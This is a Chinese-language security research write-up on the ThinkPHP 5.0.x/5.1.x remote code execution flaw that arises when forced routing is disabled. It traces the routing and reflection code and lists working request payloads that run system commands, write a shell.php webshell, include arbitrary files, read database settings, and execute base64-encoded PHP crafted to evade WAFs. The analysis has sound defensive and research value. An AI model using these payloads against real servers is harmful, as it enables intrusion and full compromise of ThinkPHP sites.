ThinkPHP未开启强制路由导致的RCE

简介

此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。

漏洞的核心在于通过反射调用

影响版本

  • 5.0.5<=ThinkPHP<=5.0.22
  • 5.1.0<=ThinkPHP<=5.1.30

5.0.5版本有所不一样(低版本),具体没测

公开POC

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞分析

这里以ThinkPHP5.0为例,重点关注两点

  • 为什么5.0中没办法调用Request
  • 为什么没有直接调用Php类的poc

第一个问题

在进行反射时,如果目标类存在构造方法,会首先调用构造方法

1618302029283

通过反射调用的方法的属性为public

但是在ThinkPHP5.0Request类得构造方法的属性为protected

1618301880641

导致,在5.0中使用5.1poc会报如下错误

1618301971862

第二个问题

这个问题主要在于下面这段代码

1618302269932

将我们传入的controller变量变成了小写

在判断类是否存在的时候,会自动触发autoload方法

1618302343017

linux下,直接就是找不到文件

1618302443115

所以在Windows下有多了一个判断真实路径和获取到的文件的文件名是否一致

比如我们调用\think\view\driver\Php

  • pathinfo($file, PATHINFO_FILENAME)=>php.php
  • pathinfo(realpath($file), PATHINFO_FILENAME)=>Php.php

直接返回false,导致无法包含文件,就不存在这个类,以至于无法调用

流程跟踪

进入App类的run方法后,调用静态方法routeCheck获取路由信息

1618303775002

调用Request类的path方法

1618303924282

通过pathinfo方法获取信息

1618303953833

1618303977137

然后返回到routeCheck方法中经过Route类的parseUrl方法处理后

返回结果如下

1618304078384

返回到App类得run方法中调用exec方法

1618304122464

继续跟进module方法

1618304141455

获取到控制器为\think\config

然后对控制器进行加载

1618304201001

当这个类存在的时候,直接反射这个类

1618304242703

跟进

1618304273563

获取到可调用的类和方法

1618304305626

进行方法的调用

1618304355084

调用incokeArgs执行调用的类的方法

1618304392862

成功进入config类的get方法

1618304423002

最终获取到数据库的用户名

1618304462423

当然还有其他的payload可以用

比如命令执行的

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

效果如下

1618304707301

其他

由于自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1自动加载的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0自动加载的类

1
2
3
4
5
6
7
8
9
10
11
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
think\Lang

所以只能在这十一个类中做文章

具体可以看一下,框架中的trace信息

1618306264167

文件包含

第一种

可调用lang类的load方法

1618306429702

poc

1
?s=index/\think\lang/load&file=1.txt

成功进入load方法

1618306813913

包含成功

1618306868784

第二种

loader中的__include_file方法,不过要结合之前的命令执行的

poc

1
?s=index/\think\app/invokefunction&function=\think\__include_file&vars[0]=1.txt

包含成功

1618307283014

代码执行

想要代码执行,最后肯定调用Php类的eval函数

那么就存在一个必须绕过的文件,传入的参数被strtolower处理的问题

其实不难发现

参数是受convert控制的,而convert是受config的配置控制的

1618307660956

也就是在第一次进行反射调用的时候,这个config我们是不可以控制的

那第二次呢,我们可以在一次调用module方法,并赋予其config参数,就可以实现任意类的加载

具体过程不在细数

poc

1
2
3
4
POST /?s=index/\think\app/module


result[]=index&result[]=\think\view\driver\Php&result[]=display&config[url_convert]=&config[app_multi_module]=0&config[url_controller_layer]=controller&config[controller_suffix]=false&config[action_suffix]=&config[empty_controller]=Error&content=<?php%20phpinfo();

效果

1618307871889

优化

影响版本

  • <=5.0.18
  • 因为在19以上的版本,display方法中使用了$this

这样的poc我们要执行的代码直接在传参中暴露,肯定被各种waf杀的44

如何对poc进行处理呢,比如说多次解码后传入eval

这个时候就有一次想到了Request类,只有这个类中可以循环调用filterpayload进行过滤

但是问题又来了,没办法通过反射调用

既然会卡死在__construct上,而这个方法是在invokeClass触发的,那可不可以直接跳过这个方法呢

尝试直接调用invokeMethod

1618312555398

但是发现第一个参数必须是object那没戏了

那只能试试controller方法的elseif分支了

1618312795069

跟进后发现,竟然是app的,放弃

直接调用是不行了,如何做到间接调用呢

需要一个foreach循环

collection类下面有个each方法

  • 第一遍先关闭报错
  • 第二次调用Requestmethod方法,进行设置filter

1618315528591

调式

这个样子是可以成功调用到Request类的method方法的但是由于是通过静态方式调用的method,所以会出现以下错误

1618318098936

再次放弃

隔了一晚上

直接查看input方法,发现虽然没有调用成员变量,但是肯定通过$this调用了成员方法

什么情况下允许,动静态的同时存在呢,在同一个类中

比如如下测试

1618366537567

所以可以查找直接动态调用input方法的,或者通过__call方法实现,但是相对就特别麻烦了

小知识点

  • call_user_func_array在回调时会把第二个数组的参数,分别赋值给被调用的方法

  • array_filter第一个数组的参数将会循环被调用过滤

1618366725692

这时突然想起来,思维被限制了,在框架里面不是有助手函数嘛,这么费劲干嘛

而且助手函数是在一开始就被加载的,直接调用助手函数

这种情况下是可以完成命令执行的

1618367198304

接下来优化一下

注意一点此时的method已经是POST,所以无法通过method方法调用__construct完成初始化操作

由于array_walk_recursive的存在,无法直接调用__construct,因为无法传入数组

1618369319493

寻找这么一个函数,返回的结果和传参无关,其实通过server接受的很多都无关,但为了不影响http报文

选择了post,其实cookie或者get也可以的

  • error_reporting=> 0 关闭报错
  • 关闭报错后会返回一个固定得值32767,通过post获取参数值
  • 调用解码函数
  • 调用Phpdisplay

poc

注意参数顺序

1
2
3
POST /?s=index/\think\app/invokefunction

a=0&function=input&vars[0]=post.a&vars[1]=exit&vars[2][]=error_reporting&vars[2][]=self::post&vars[2][]=base64_decode&vars[2][]=\think\view\driver\Php::Display&32767=PD9waHAgcGhwaW5mbygpOw==

想要多次编码,直接添加过滤器即可

1618370699494

小于5.0.5版本

由于代码存在差异,如果用之前的payload,

strpos($name, '\\')得到的结果为0,就不会进入条件,所以

image-20211230200352912

删除think前面的反斜线即可

image-20211230200622473

end